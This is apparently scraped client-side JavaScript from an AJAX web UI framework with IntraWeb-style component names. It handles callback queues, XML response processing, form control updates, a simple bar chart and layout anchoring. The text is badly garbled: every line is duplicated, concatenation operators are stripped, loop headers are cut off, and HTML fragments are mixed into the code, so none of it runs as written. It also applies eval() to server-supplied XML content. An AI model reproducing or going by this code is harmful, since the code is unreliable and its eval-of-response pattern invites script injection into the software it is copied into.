logElement.innerHTML = aMessage "
";
eventParams = constructEventURL(lEvent);
eventParams = constructEventURL(lEvent);
window.eventQueue = new Array();
window.eventQueue = new Array();
window.lastEvent = null;
window.lastEvent = null;
if (eventQueue.length > 0) {
if (eventQueue.length > 0) {
var f = window.eventQueue.shift();
var f = window.eventQueue.shift();
function executeAjaxEvent(eventParams, aSender, aCallback, aDirectSend, aSendControl, aAppend)
function executeAjaxEvent(eventParams, aSender, aCallback, aDirectSend, aSendControl, aAppend)
if (window.serverProblem) {
if (window.serverProblem) {
if (!window.eventProcessing) {
if (!window.eventProcessing) {
window.eventProcessing = true;
window.eventProcessing = true;
window.setTimeout(delegate(obj, obj.method, eventParams, aSender, aCallback, aSendControl, aAppend), 10);
window.setTimeout(delegate(obj, obj.method, eventParams, aSender, aCallback, aSendControl, aAppend), 10);
window.eventQueue.push(delegate(obj, obj.method, eventParams, aSender, aCallback, aSendControl, aAppend));
window.eventQueue.push(delegate(obj, obj.method, eventParams, aSender, aCallback, aSendControl, aAppend));
if (aAppend || window.lastEvent == null || window.eventQueue.length == 0 || window.lastEvent != aCallback) {
if (aAppend || window.lastEvent == null || window.eventQueue.length == 0 || window.lastEvent != aCallback) {
window.lastEvent = aCallback;
window.lastEvent = aCallback;
window.ChangedControls = aSender.id ",";
window.ChangedControls = aSender.id ",";
if (window.ChangedControls.length == 0) {
if (window.ChangedControls.length == 0) {
var aURL;
var aURL;
aURL = GURLBase '/callback' aSessionInfo '?callback=' aCallback '&' aSender.name '=' aSender.value;
aURL = GURLBase '/callback' aSessionInfo '?callback=' aCallback '&' aSender.name '=' aSender.value;
aURL = GURLBase '/callback' aSessionInfo '?callback=' aCallback;
aURL = GURLBase '/callback' aSessionInfo '?callback=' aCallback;
aURL = aURL eventParams;
aURL = aURL eventParams;
AjaxRequest.get(
AjaxRequest.get(
'url':aURL
'url':aURL
debugAlert('Callback Error!\nStatusText=' req.statusText '\nContents=' req.responseText);
debugAlert('Callback Error!\nStatusText=' req.statusText '\nContents=' req.responseText);
if (window.ActiveXObject) { // IE
if (window.ActiveXObject) { // IE
xXmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xXmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xXmlDoc.async = false;
xXmlDoc.async = false;
xXmlDoc.loadXML(aResponse);
xXmlDoc.loadXML(aResponse);
} else { // Mozilla
} else { // Mozilla
xXmlDoc = (new DOMParser()).parseFromString(aResponse, "text/xml");
xXmlDoc = (new DOMParser()).parseFromString(aResponse, "text/xml");
var xData = aXmlDoc.getElementsByTagName("response");
var xData = aXmlDoc.getElementsByTagName("response");
if (xData == null || xData.length != 1) {
if (xData == null || xData.length != 1) {
var xTrackID = aXmlDoc.getElementsByTagName("submit");
var xTrackID = aXmlDoc.getElementsByTagName("submit");
if (xTrackID.length > 0) {
if (xTrackID.length > 0) {
xSubmitForm.action = xTrackID[0].lastChild.nodeValue;
xSubmitForm.action = xTrackID[0].lastChild.nodeValue;
var xUpdate = aXmlDoc.getElementsByTagName("update");
var xUpdate = aXmlDoc.getElementsByTagName("update");
if (xUpdate.length > 0) {
if (xUpdate.length > 0) {
processAjaxUpdate(xUpdate[0].childNodes);
processAjaxUpdate(xUpdate[0].childNodes);
var xExecute = aXmlDoc.getElementsByTagName("execute");
var xExecute = aXmlDoc.getElementsByTagName("execute");
if (xExecute.length > 0) {
if (xExecute.length > 0) {
processAjaxExecute(xExecute[0].childNodes);
processAjaxExecute(xExecute[0].childNodes);
for (var i = 0; i
for (var i = 0; i
if (xElement.nodeType != 1) {
if (xElement.nodeType != 1) {
function processAjaxExecute(aExecuteElements)
function processAjaxExecute(aExecuteElements)
for (var i = 0; i
for (var i = 0; i
var xElement = aExecuteElements[i];
var xElement = aExecuteElements[i];
eval(xElement.lastChild.nodeValue);
eval(xElement.lastChild.nodeValue);
var xID = aElement.getAttribute("id").toUpperCase();
var xID = aElement.getAttribute("id").toUpperCase();
var xType = aElement.getAttribute("type").toUpperCase();
var xType = aElement.getAttribute("type").toUpperCase();
var xObject = IWTop().FindElem(xID);
var xObject = IWTop().FindElem(xID);
for (var i = 0; i
for (var i = 0; i
if (aElement.childNodes[i].nodeType != 1) {
if (aElement.childNodes[i].nodeType != 1) {
var xPropName = aElement.childNodes[i].nodeName;
var xPropName = aElement.childNodes[i].nodeName;
if (aElement.childNodes[i].lastChild != null) {
if (aElement.childNodes[i].lastChild != null) {
var xPropValue = aElement.childNodes[i].lastChild.nodeValue;
var xPropValue = aElement.childNodes[i].lastChild.nodeValue;
if (xID == gSenderName && xObject.value == gSentValue) {
if (xID == gSenderName && xObject.value == gSentValue) {
xObject.value = xPropValue;
xObject.value = xPropValue;
logMessage(xObject.value ":" xPropValue);
logMessage(xObject.value ":" xPropValue);
if (xObject.innerHTML != xPropValue) {
if (xObject.innerHTML != xPropValue) {
xObject.innerHTML = xPropValue;
xObject.innerHTML = xPropValue;
xObject.className = xPropValue;
xObject.className = xPropValue;
var xItemsNode = aElement.childNodes[i];
var xItemsNode = aElement.childNodes[i];
for (var ii = 0; ii
for (var ii = 0; ii
if (xItemsNode.childNodes[ii].nodeType != 1) {
if (xItemsNode.childNodes[ii].nodeType != 1) {
var xItemNode = xItemsNode.childNodes[ii];
var xItemNode = xItemsNode.childNodes[ii];
if (xItemNode.nodeName == "attribute") {
if (xItemNode.nodeName == "attribute") {
var xPropertyName = xItemNode.getAttribute("name");
var xPropertyName = xItemNode.getAttribute("name");
if (xItemNode.lastChild != null) {
if (xItemNode.lastChild != null) {
xPropertyValue = xItemNode.lastChild.nodeValue;
xPropertyValue = xItemNode.lastChild.nodeValue;
eval("xObject.style." xPropertyName "=\"" xPropertyValue "\"");
eval("xObject.style." xPropertyName "=\"" xPropertyValue "\"");
xObject.disabled = false;
xObject.disabled = false;
xObject.disabled = true;
xObject.disabled = true;
xObject.readOnly = true;
xObject.readOnly = true;
xObject.readOnly = false;
xObject.readOnly = false;
xObject.src = xPropValue;
xObject.src = xPropValue;
var xObject = IWTop().FindElem(xID "_CHECKBOX");
var xObject = IWTop().FindElem(xID "_CHECKBOX");
if (xObject.checked != xPropValue) {
if (xObject.checked != xPropValue) {
xObject.checked = xPropValue;
xObject.checked = xPropValue;
xObject.multiple = !(xPropValue == "select-one");
xObject.multiple = !(xPropValue == "select-one");
xObject.removeAttribute("multiple");
xObject.removeAttribute("multiple");
xObject.setAttribute("multiple", "");
xObject.setAttribute("multiple", "");
while (xObject.childNodes.length > 0) {
while (xObject.childNodes.length > 0) {
xObject.removeChild(xObject.childNodes[0]);
xObject.removeChild(xObject.childNodes[0]);
var xIsSelected = xItemNode.getAttribute("selected");
var xIsSelected = xItemNode.getAttribute("selected");
var xItemValue = xItemNode.getAttribute("value");
var xItemValue = xItemNode.getAttribute("value");
xItemText = xItemNode.lastChild.nodeValue;
xItemText = xItemNode.lastChild.nodeValue;
var oOption = document.createElement("OPTION");
var oOption = document.createElement("OPTION");
oOption.text=xItemText;
oOption.text=xItemText;
oOption.value=xItemValue;
oOption.value=xItemValue;
xSelected.push(oOption);
xSelected.push(oOption);
xObject.add(oOption);
xObject.add(oOption);
xObject.appendChild(new Option(xItemText, xItemValue, false, xIsSelected != null));
xObject.appendChild(new Option(xItemText, xItemValue, false, xIsSelected != null));
var xVerticalLayout = aElement.getAttribute("layout").toLowerCase() == "vertical";
var xVerticalLayout = aElement.getAttribute("layout").toLowerCase() == "vertical";
var xRadioInput = document.createElement(element);
var xRadioInput = document.createElement(element);
element = "";
element = "";
var xSpan = document.createElement(element);
var xSpan = document.createElement(element);
xObject.appendChild(xRadioInput);
xObject.appendChild(xRadioInput);
xSpan.innerHTML = xItemText;
xSpan.innerHTML = xItemText;
xObject.appendChild(xSpan);
xObject.appendChild(xSpan);
var xRadioInput = document.createElement("input");
var xRadioInput = document.createElement("input");
xRadioInput.name = xID "_INPUT";
xRadioInput.name = xID "_INPUT";
xRadioInput.id = xID "_INPUT_" ii;
xRadioInput.id = xID "_INPUT_" ii;
xRadioInput.type = "radio";
xRadioInput.type = "radio";
xRadioInput.value = xItemValue;
xRadioInput.value = xItemValue;
xRadioInput.checked = xIsSelected != null;
xRadioInput.checked = xIsSelected != null;
var xSpan = document.createElement("span");
var xSpan = document.createElement("span");
xSpan.onclick = function() {
xSpan.onclick = function() {
FindElem(xID "_INPUT_" ii).checked = true;
FindElem(xID "_INPUT_" ii).checked = true;
xObject.appendChild(document.createElement("BR"));
xObject.appendChild(document.createElement("BR"));
while (xSelected.length > 0) {
while (xSelected.length > 0) {
xSelected.shift().selected = true;
xSelected.shift().selected = true;
xSelected.selected = true;
xSelected.selected = true;
window.setTimeout(delegate(obj, obj.method, xSelected), 1);
window.setTimeout(delegate(obj, obj.method, xSelected), 1);
var xObj = IWTop().FindElem(aObject);
var xObj = IWTop().FindElem(aObject);
xObj.disabled = aDisabled;
xObj.disabled = aDisabled;
xObj.readOnly = aReadOnly;
xObj.readOnly = aReadOnly;
xObj.style.visiblity = 'visible';
xObj.style.visiblity = 'visible';
xObj.style.visiblity = 'hidden';
xObj.style.visiblity = 'hidden';
xObj.style.left = aX;
xObj.style.left = aX;
xObj.style.top = aY;
xObj.style.top = aY;
xObj.style.zIndex = aZ;
xObj.style.zIndex = aZ;
var xObj = IWTop().FindElem(aListBox);
var xObj = IWTop().FindElem(aListBox);
var xElem = document.createElement("option");
var xElem = document.createElement("option");
xElem.text = aItemText;
xElem.text = aItemText;
xElem.value = aItemValue;
xElem.value = aItemValue;
xObj.appendChild(xElem);
xObj.appendChild(xElem);
this.interval = interval;
this.interval = interval;
this.enabled = enabled;
this.enabled = enabled;
this.callback = callback;
this.callback = callback;
this.startTimer = function() {
this.startTimer = function() {
this.enabled = true;
this.enabled = true;
setTimeout(delegate(this.timeout, this.timeout.method, this), this.interval);
setTimeout(delegate(this.timeout, this.timeout.method, this), this.interval);
this.stopTimer = function() {
this.stopTimer = function() {
this.enabled = false;
this.enabled = false;
this.timeout = {
this.timeout = {
executeAjaxEvent("", null, timer.callback, true);
executeAjaxEvent("", null, timer.callback, true);
if (timer.enabled) {
if (timer.enabled) {
setTimeout(delegate(timer.timeout, timer.timeout.method, timer), timer.interval);
setTimeout(delegate(timer.timeout, timer.timeout.method, timer), timer.interval);
if (enabled) this.startTimer();
if (enabled) this.startTimer();
FindElem(controlName).checked = !FindElem(controlName).checked;
FindElem(controlName).checked = !FindElem(controlName).checked;
FindElem(checkbox).onclick(event);
FindElem(checkbox).onclick(event);
this.Draw = DynChartLegend_Draw;
this.Draw = DynChartLegend_Draw;
this.Div = ADiv;
this.Div = ADiv;
this.Width = AWidth;
this.Width = AWidth;
s = 'Legend - ' this.DataDescr '' '
';s = 'Legend - ' this.DataDescr '' '
for (i=0; i
for (i=0; i
'
' '' '' '''
' '' '' ''if (LColorIdx >= this.Colors.length) {LColorIdx = 0;}
if (LColorIdx >= this.Colors.length) {LColorIdx = 0;}
this.Div.innerHTML = s;
this.Div.innerHTML = s;
this.Draw = DynChart_Draw;
this.Draw = DynChart_Draw;
this.Data = AData;
this.Data = AData;
this.ColNames = AColNames;
this.ColNames = AColNames;
this.Colors = AColors;
this.Colors = AColors;
this.VertData = AVertData;
this.VertData = AVertData;
this.HorzData = AHorzData;
this.HorzData = AHorzData;
this.Legend = ALegend;
this.Legend = ALegend;
this.Func = AFunc;
this.Func = AFunc;
this.ValuesInBars = true;
this.ValuesInBars = true;
var LHeight = this.Div.clientHeight;
var LHeight = this.Div.clientHeight;
var LWidth = this.Div.clientWidth;
var LWidth = this.Div.clientWidth;
for (i = 0; i
for (i = 0; i
if (AData[i].toUpperCase() == AName.toUpperCase())
if (AData[i].toUpperCase() == AName.toUpperCase())
AArray[1] = Math.min(AArray[1], AData);
AArray[1] = Math.min(AArray[1], AData);
AArray[1] = Math.max(AArray[1], AData);
AArray[1] = Math.max(AArray[1], AData);
LHorzIdx = FindCol(this.HorzData, this.ColNames);
LHorzIdx = FindCol(this.HorzData, this.ColNames);
LVertIdx = FindCol(this.VertData, this.ColNames);
LVertIdx = FindCol(this.VertData, this.ColNames);
j = FindHorz(this.Data[i][LHorzIdx], LData);
j = FindHorz(this.Data[i][LHorzIdx], LData);
LData[LData.length] = new Array(this.Data[i][LHorzIdx], 0, 0);
LData[LData.length] = new Array(this.Data[i][LHorzIdx], 0, 0);
j = LData.length - 1;
j = LData.length - 1;
eval('chartfunc_' this.Func '(LData[j], this.Data[i][LVertIdx])');
eval('chartfunc_' this.Func '(LData[j], this.Data[i][LVertIdx])');
for (i=0; i
for (i=0; i
eval('chartpostfunc_' this.Func '(LData[i])');
eval('chartpostfunc_' this.Func '(LData[i])');
var LColWidth = Math.floor(LWidth / (LData.length));
var LColWidth = Math.floor(LWidth / (LData.length));
var LBarWidth = Math.floor(LColWidth / 2);
var LBarWidth = Math.floor(LColWidth / 2);
var LBarOffset = Math.floor((LColWidth - LBarWidth) / 2);
var LBarOffset = Math.floor((LColWidth - LBarWidth) / 2);
LMaxColValue = Math.max(LMaxColValue, LData[i][1]);
LMaxColValue = Math.max(LMaxColValue, LData[i][1]);
LBarHeight = Math.floor(LData[i][1] * LColSegHeight);
LBarHeight = Math.floor(LData[i][1] * LColSegHeight);
, this.Colors[LColorIdx ], this.ValuesInBars?LData[i][1]:'Â ');
, this.Colors[LColorIdx ], this.ValuesInBars?LData[i][1]:'Â ');
if (LColorIdx >= this.Colors.length)
if (LColorIdx >= this.Colors.length)
if (this.Legend != null) {
if (this.Legend != null) {
this.Legend.Data = LData;
this.Legend.Data = LData;
this.Legend.Colors = this.Colors;
this.Legend.Colors = this.Colors;
this.Legend.DataDescr = this.ColNames[LHorzIdx];
this.Legend.DataDescr = this.ColNames[LHorzIdx];
this.Legend.Draw();
this.Legend.Draw();
onKeyDown
onKeyDown
onKeyPress
onKeyPress
onKeyUp
onKeyUp
for (i = 0; i
for (i = 0; i
if (opera_browser || KHTML_browser) {
if (opera_browser || KHTML_browser) {
return AElement.style.clip != "auto";
return AElement.style.clip != "auto";
return AElement.currentStyle.clipTop != "auto"
return AElement.currentStyle.clipTop != "auto"
return getComputedStyle(AElement,'').getPropertyValue('clip') != "auto";
return getComputedStyle(AElement,'').getPropertyValue('clip') != "auto";
if (opera_browser) {
if (opera_browser) {
return AElement.visibility;
return AElement.visibility;
return AElement.style.visibility
return AElement.style.visibility
return AElement.currentStyle.visibility;
return AElement.currentStyle.visibility;
return getComputedStyle(AElement,'').getPropertyValue('visibility');
return getComputedStyle(AElement,'').getPropertyValue('visibility');
AElement.Visible = true;
AElement.Visible = true;
AElement.Visible = false;
AElement.Visible = false;
if (AElement != null && AElement != window.document.body) {
if (AElement != null && AElement != window.document.body) {
return isNotClipped(AElement.offsetParent);
return isNotClipped(AElement.offsetParent);
this.Left = ALeft;
this.Left = ALeft;
this.Top = ATop;
this.Top = ATop;
this.Height = AHeight;
this.Height = AHeight;
this.equals = Rect_equals;
this.equals = Rect_equals;
return this.Width == ARect.Width && this.Height == ARect.Height && this.Left == ARect.Left && this.Top == ARect.Top;
return this.Width == ARect.Width && this.Height == ARect.Height && this.Left == ARect.Left && this.Top == ARect.Top;
return new Rect(ASrcRect.Left, ASrcRect.Top, ASrcRect.Width, ASrcRect.Height);
return new Rect(ASrcRect.Left, ASrcRect.Top, ASrcRect.Width, ASrcRect.Height);
this.Right = ARight;
this.Right = ARight;
this.Bottom = ABottom;
this.Bottom = ABottom;
delete this.Rect;
delete this.Rect;
delete this.OriginalRect;
delete this.OriginalRect;
for (i = 0; i
for (i = 0; i
this.OwnedComps[i].IWRelease();
this.OwnedComps[i].IWRelease();
this.OwnedComps[i] = null;
this.OwnedComps[i] = null;
if (this.oldCursors) {
if (this.oldCursors) {
for (i = 0; i
for (i = 0; i
this.oldCursors[i] = null;
this.oldCursors[i] = null;
for (i = 0; i
for (i = 0; i
this.HTMLelements[i] = null;
this.HTMLelements[i] = null;
/* this.Width = AWidth;
/* this.Width = AWidth;
this.OldWidth = AWidth;
this.OldWidth = AWidth;
this.OldHeight = AHeight; */
this.OldHeight = AHeight; */
this.BorderWidthPixels = 0;
this.BorderWidthPixels = 0;
this.Item = window.document.body;
this.Item = window.document.body;
this.Rect = new Rect(0, 0, AWidth, AHeight);
this.Rect = new Rect(0, 0, AWidth, AHeight);
this.OriginalRect = new Rect(0, 0, AWidth, AHeight);
this.OriginalRect = new Rect(0, 0, AWidth, AHeight);
this.OwnedComps = new Array();
this.OwnedComps = new Array();
this.UpdateRects = IWCL_UpdateRects;
this.UpdateRects = IWCL_UpdateRects;
this.HookEvent = IWCL_HookEvent;
this.HookEvent = IWCL_HookEvent;
this.IWRelease = IWCL_FormRelease;
this.IWRelease = IWCL_FormRelease;
IWCLForm.IWRelease();
IWCLForm.IWRelease();
AItem = window.document.getElementById(AId);
AItem = window.document.getElementById(AId);
if (AItem != null && AItem.length && AItem.length > 0 && !AItem.tagName) {
if (AItem != null && AItem.length && AItem.length > 0 && !AItem.tagName) {
for (i = 0; i
for (i = 0; i
if (LResult.id == AId) break;
if (LResult.id == AId) break;
var AItem = (ns6||KHTML_browser) ? window.document.getElementById(AId): window.document.all[AId];
var AItem = (ns6||KHTML_browser) ? window.document.getElementById(AId): window.document.all[AId];
var iLen = (AItem != null) ? AItem.length : 0;
var iLen = (AItem != null) ? AItem.length : 0;
if (AItem != null && iLen && iLen > 0 && !AItem.tagName) {
if (AItem != null && iLen && iLen > 0 && !AItem.tagName) {
LItem = LItem.Owner;
LItem = LItem.Owner;
LPoint.X = LItem.Rect.Left;
LPoint.X = LItem.Rect.Left;
LPoint.Y = LItem.Rect.Top;
LPoint.Y = LItem.Rect.Top;
LPoint = ClientToScreen(AControl.Owner, new Point(AControl.Owner.Rect.Left, AControl.Owner.Rect.Top));
LPoint = ClientToScreen(AControl.Owner, new Point(AControl.Owner.Rect.Left, AControl.Owner.Rect.Top));
ARect.Left = ARect.Left - LPoint.X;
ARect.Left = ARect.Left - LPoint.X;
ARect.Top = ARect.Top - LPoint.Y;
ARect.Top = ARect.Top - LPoint.Y;
LRect = new Rect(AControl.offsetLeft, AControl.offsetTop,
LRect = new Rect(AControl.offsetLeft, AControl.offsetTop,
AControl.offsetWidth, AControl.offsetHeight);
AControl.offsetWidth, AControl.offsetHeight);
if (ns6 || opera_browser) {
if (ns6 || opera_browser) {
if (AControl.Owner != IWCLForm && hasClip(AControl.Owner)) {
if (AControl.Owner != IWCLForm && hasClip(AControl.Owner)) {
LRect.Left = AControl.Owner.BorderWidthPixels;
LRect.Left = AControl.Owner.BorderWidthPixels;
LRect.Top = AControl.Owner.BorderWidthPixels;
LRect.Top = AControl.Owner.BorderWidthPixels;
InflateRect(LRect, -AControl.BorderWidthPixels, -AControl.BorderWidthPixels);
InflateRect(LRect, -AControl.BorderWidthPixels, -AControl.BorderWidthPixels);
this.Align = AAlign;
this.Align = AAlign;
this.Anchors = AAnchors;
this.Anchors = AAnchors;
this.FieldName = AFieldName;
this.FieldName = AFieldName;
this.DataSet = ADataSet;
this.DataSet = ADataSet;
ADataSet.OnChangeList[ADataSet.OnChangeList.length] = this;
ADataSet.OnChangeList[ADataSet.OnChangeList.length] = this;
this.DoOnChange(ADataSet);
this.DoOnChange(ADataSet);
this.SetIWCLTypeMehtodList[this.SetIWCLTypeMehtodList.length] = ASetIWCLTypeMethod
this.SetIWCLTypeMehtodList[this.SetIWCLTypeMehtodList.length] = ASetIWCLTypeMethod
this.SetOnChnage = ADataSet;
this.SetOnChnage = ADataSet;
this.DoOnChange = IWCL_LabelOnChange;
this.DoOnChange = IWCL_LabelOnChange;
this.DoOnChange = IWCL_DBNavigatorOnChange;
this.DoOnChange = IWCL_DBNavigatorOnChange;
for(i = 0; i
for(i = 0; i
this.SetIWCLTypeMehtodList[i](AType);
this.SetIWCLTypeMehtodList[i](AType);
layerWrite(this.id, false, ADataSet.FieldByName(this.FieldName));
layerWrite(this.id, false, ADataSet.FieldByName(this.FieldName));
AElement = LocateElement(this.id 'IWCL_First');
AElement = LocateElement(this.id 'IWCL_First');
if (ADataSet.BOF()) {
if (ADataSet.BOF()) {
AElement.src = this.First_Disabled;
AElement.src = this.First_Disabled;
AElement.src = this.First_Enabled;
AElement.src = this.First_Enabled;
AElement = LocateElement(this.id 'IWCL_Last');
AElement = LocateElement(this.id 'IWCL_Last');
if (ADataSet.EOF()) {
if (ADataSet.EOF()) {
AElement.src = this.Last_Disabled;
AElement.src = this.Last_Disabled;
AElement.src = this.Last_Enabled;
AElement.src = this.Last_Enabled;
AElement = LocateElement(this.id 'IWCL_Next');
AElement = LocateElement(this.id 'IWCL_Next');
AElement.src = this.Next_Disabled;
AElement.src = this.Next_Disabled;
AElement.src = this.Next_Enabled;
AElement.src = this.Next_Enabled;
AElement = LocateElement(this.id 'IWCL_Prior');
AElement = LocateElement(this.id 'IWCL_Prior');
AElement.src = this.Prior_Disabled;
AElement.src = this.Prior_Disabled;
AElement.src = this.Prior_Enabled;
AElement.src = this.Prior_Enabled;
AElement = LocateElement(this.id 'IWCL_Refresh');
AElement = LocateElement(this.id 'IWCL_Refresh');
AElement.src = this.Refresh_Enabled;
AElement.src = this.Refresh_Enabled;
AElement.src = this.Refresh_Disabled;
AElement.src = this.Refresh_Disabled;
if( this.className == "tab-page" )
if( this.className == "tab-page" )
this.style.visibility = "visible";
this.style.visibility = "visible";
this.style.display = "";
this.style.display = "";
this.style.visibility = "hidden";
this.style.visibility = "hidden";
this.style.display = "none";
this.style.display = "none";
this.OwnedComps[i].IWSetVisible(AVisible);
this.OwnedComps[i].IWSetVisible(AVisible);
if (!AItem.Visible) {
if (!AItem.Visible) {
if (AItem.Owner != null){
if (AItem.Owner != null){
return IsVisible(AItem.Owner);
return IsVisible(AItem.Owner);
if (IsVisible(this)) this.IWSetVisible(true)
if (IsVisible(this)) this.IWSetVisible(true)
else this.IWSetVisible(false);
else this.IWSetVisible(false);
this.IWSetVisible(false);
this.IWSetVisible(false);
if( this.Rect.equals(ARect) )
if( this.Rect.equals(ARect) )
var LPoint = new Point(ARect.Left, ARect.Top);
var LPoint = new Point(ARect.Left, ARect.Top);
if ((ARect.Left ARect.Width)
if ((ARect.Left ARect.Width)
alert(ARect.Left "," ARect.Top "," ARect.Width "," ARect.Height "(" getComputedStyle(this,"").getPropertyValue("clip") ")");
alert(ARect.Left "," ARect.Top "," ARect.Width "," ARect.Height "(" getComputedStyle(this,"").getPropertyValue("clip") ")");
this.style.left = LPoint.X;
this.style.left = LPoint.X;
this.style.top = LPoint.Y;
this.style.top = LPoint.Y;
ARect.Width -= (2*this.BorderWidthPixels);
ARect.Width -= (2*this.BorderWidthPixels);
ARect.Height -= (2*this.BorderWidthPixels);
ARect.Height -= (2*this.BorderWidthPixels);
if (ARect.Width != this.Rect.Width || ARect.Height != this.Rect.Height) {
if (ARect.Width != this.Rect.Width || ARect.Height != this.Rect.Height) {
var lWidth = ARect.Width;
var lWidth = ARect.Width;
var lHeight = ARect.Height;
var lHeight = ARect.Height;
this.style.width = lWidth ;
this.style.width = lWidth ;
this.style.height = lHeight;
this.style.height = lHeight;
this.style.clip = "rect(0px," lWidth "px," lHeight "px,0px)";
this.style.clip = "rect(0px," lWidth "px," lHeight "px,0px)";
ARect.Width = (2*this.BorderWidthPixels);
ARect.Width = (2*this.BorderWidthPixels);
ARect.Height = (2*this.BorderWidthPixels);
ARect.Height = (2*this.BorderWidthPixels);
this.style.clip = "rect(0px," ARect.Width "px," ARect.Height "px,0px)";
this.style.clip = "rect(0px," ARect.Width "px," ARect.Height "px,0px)";
this.Anchors = null;
this.Anchors = null;
this.OriginalRect = null;
this.OriginalRect = null;
this.Rect = null;
this.Rect = null;
this.SetAlign = null;
this.SetAlign = null;
this.SetAnchors = null;
this.SetAnchors = null;
this.SetDataSet = null;
this.SetDataSet = null;
this.SetFieldName = null;
this.SetFieldName = null;
this.SetOnChange = null;
this.SetOnChange = null;
this.DoOnChange = null;
this.DoOnChange = null;
this.SetIWCLType = null;
this.SetIWCLType = null;
this.SetRect = null;
this.SetRect = null;
this.OverrideIWCLType = null;
this.OverrideIWCLType = null;
this.UpdateRects = null;
this.UpdateRects = null;
this.UpdateTopLeft = null;
this.UpdateTopLeft = null;
this.HookEvent = null;
this.HookEvent = null;
this.IWRelease = null;
this.IWRelease = null;
for (i = 0; i
for (i = 0; i
this.SetIWCLTypeMehtodList[i] = null;
this.SetIWCLTypeMehtodList[i] = null;
this.SetIWCLTypeMehtodList = null;
this.SetIWCLTypeMehtodList = null;
this.OwnedComps = null;
this.OwnedComps = null;
for (i = 0; i
for (i = 0; i
this.IEEventHandlers[i] = null;
this.IEEventHandlers[i] = null;
this.IEEventHandlers = null;
this.IEEventHandlers = null;
this.Owner = null;
this.Owner = null;
eval(this.VarName "= null;");
eval(this.VarName "= null;");
Item.Owner = AOwner;
Item.Owner = AOwner;
Item.BorderWidth = 0;
Item.BorderWidth = 0;
Item.BorderWidthPixels = 0;
Item.BorderWidthPixels = 0;
Item.Align = alNone;
Item.Align = alNone;
Item.VarName = AName;
Item.VarName = AName;
Item.Anchors = new CreateAnchors(true, false, true, false);
Item.Anchors = new CreateAnchors(true, false, true, false);
if( Item.OriginalRect ) {
if( Item.OriginalRect ) {
Item.Rect = CopyRect( Item.OriginalRect );
Item.Rect = CopyRect( Item.OriginalRect );
Item.OriginalRect = CreateRect(Item);
Item.OriginalRect = CreateRect(Item);
Item.Rect = CopyRect(Item.OriginalRect);
Item.Rect = CopyRect(Item.OriginalRect);
Item.Visible = true;
Item.Visible = true;
Item.IWShow = IWCL_Show;
Item.IWShow = IWCL_Show;
Item.IWHide = IWCL_Hide;
Item.IWHide = IWCL_Hide;
Item.IWSetVisible = IWCL_SetVisible;
Item.IWSetVisible = IWCL_SetVisible;
Item.SetAlign = IWCL_SetAlign;
Item.SetAlign = IWCL_SetAlign;
Item.SetAnchors = IWCL_SetAnchors;
Item.SetAnchors = IWCL_SetAnchors;
Item.SetDataSet = IWCL_SetDataSet;
Item.SetDataSet = IWCL_SetDataSet;
Item.SetFieldName = IWCL_SetFieldName;
Item.SetFieldName = IWCL_SetFieldName;
Item.SetOnChange = IWCL_SetOnChange;
Item.SetOnChange = IWCL_SetOnChange;
Item.DoOnChange = IWCL_OnChange;
Item.DoOnChange = IWCL_OnChange;
Item.SetIWCLType = IWCL_SetIWCLType;
Item.SetIWCLType = IWCL_SetIWCLType;
Item.SetIWCLTypeMehtodList = new Array();
Item.SetIWCLTypeMehtodList = new Array();
Item.SetRect = IWCL_SetRect;
Item.SetRect = IWCL_SetRect;
Item.OverrideIWCLType = IWCL_OverrideIWCLType;
Item.OverrideIWCLType = IWCL_OverrideIWCLType;
Item.UpdateRects = IWCL_UpdateRects;
Item.UpdateRects = IWCL_UpdateRects;
Item.UpdateTopLeft = IWCL_UpdateTopLeft;
Item.UpdateTopLeft = IWCL_UpdateTopLeft;
Item.HookEvent = IWCL_HookEvent;
Item.HookEvent = IWCL_HookEvent;
Item.IWRelease = IWCL_Release;
Item.IWRelease = IWCL_Release;
Item.OwnedComps = new Array();
Item.OwnedComps = new Array();
if (Item.Owner != null)
if (Item.Owner != null)
Item.Owner.OwnedComps[Item.Owner.OwnedComps.length] = Item;
Item.Owner.OwnedComps[Item.Owner.OwnedComps.length] = Item;
Item.IEEventHandlers = new Array();
Item.IEEventHandlers = new Array();
return !(AAnchors.Left && AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
return !(AAnchors.Left && AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
return !(AAnchors.Left && AAnchors.Right && !AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && AAnchors.Right && !AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(!AAnchors.Left && AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(!AAnchors.Left && AAnchors.Right && AAnchors.Top && AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
return !(AAnchors.Left && !AAnchors.Right && AAnchors.Top && !AAnchors.Bottom)
LNewHeight = AControl.Rect.Height;
LNewHeight = AControl.Rect.Height;
LNewWidth = AControl.Rect.Width;
LNewWidth = AControl.Rect.Width;
LNewTop = AControl.Rect.Top;
LNewTop = AControl.Rect.Top;
LNewLeft = AControl.Rect.Left;
LNewLeft = AControl.Rect.Left;
if (AAlign == alNone || CustomAnchors(AControl.Anchors, AAlign)) {
if (AAlign == alNone || CustomAnchors(AControl.Anchors, AAlign)) {
with (AControl.Anchors) {
with (AControl.Anchors) {
LNewWidth = (AParent.Rect.Width - AParent.OriginalRect.Width) AControl.OriginalRect.Width;
LNewWidth = (AParent.Rect.Width - AParent.OriginalRect.Width) AControl.OriginalRect.Width;
LNewLeft = AControl.OriginalRect.Left AParent.Rect.Width - AParent.OriginalRect.Width;
LNewLeft = AControl.OriginalRect.Left AParent.Rect.Width - AParent.OriginalRect.Width;
LNewLeft = ((AControl.OriginalRect.Left AControl.OriginalRect.Width / 2) * AParent.Rect.Width) /
LNewLeft = ((AControl.OriginalRect.Left AControl.OriginalRect.Width / 2) * AParent.Rect.Width) /
AParent.OriginalRect.Width - (LNewWidth / 2);
AParent.OriginalRect.Width - (LNewWidth / 2);
LNewHeight = AParent.Rect.Height - (AParent.OriginalRect.Height - AControl.OriginalRect.Height);
LNewHeight = AParent.Rect.Height - (AParent.OriginalRect.Height - AControl.OriginalRect.Height);
LNewTop = AControl.OriginalRect.Top AParent.Rect.Height - AParent.OriginalRect.Height;
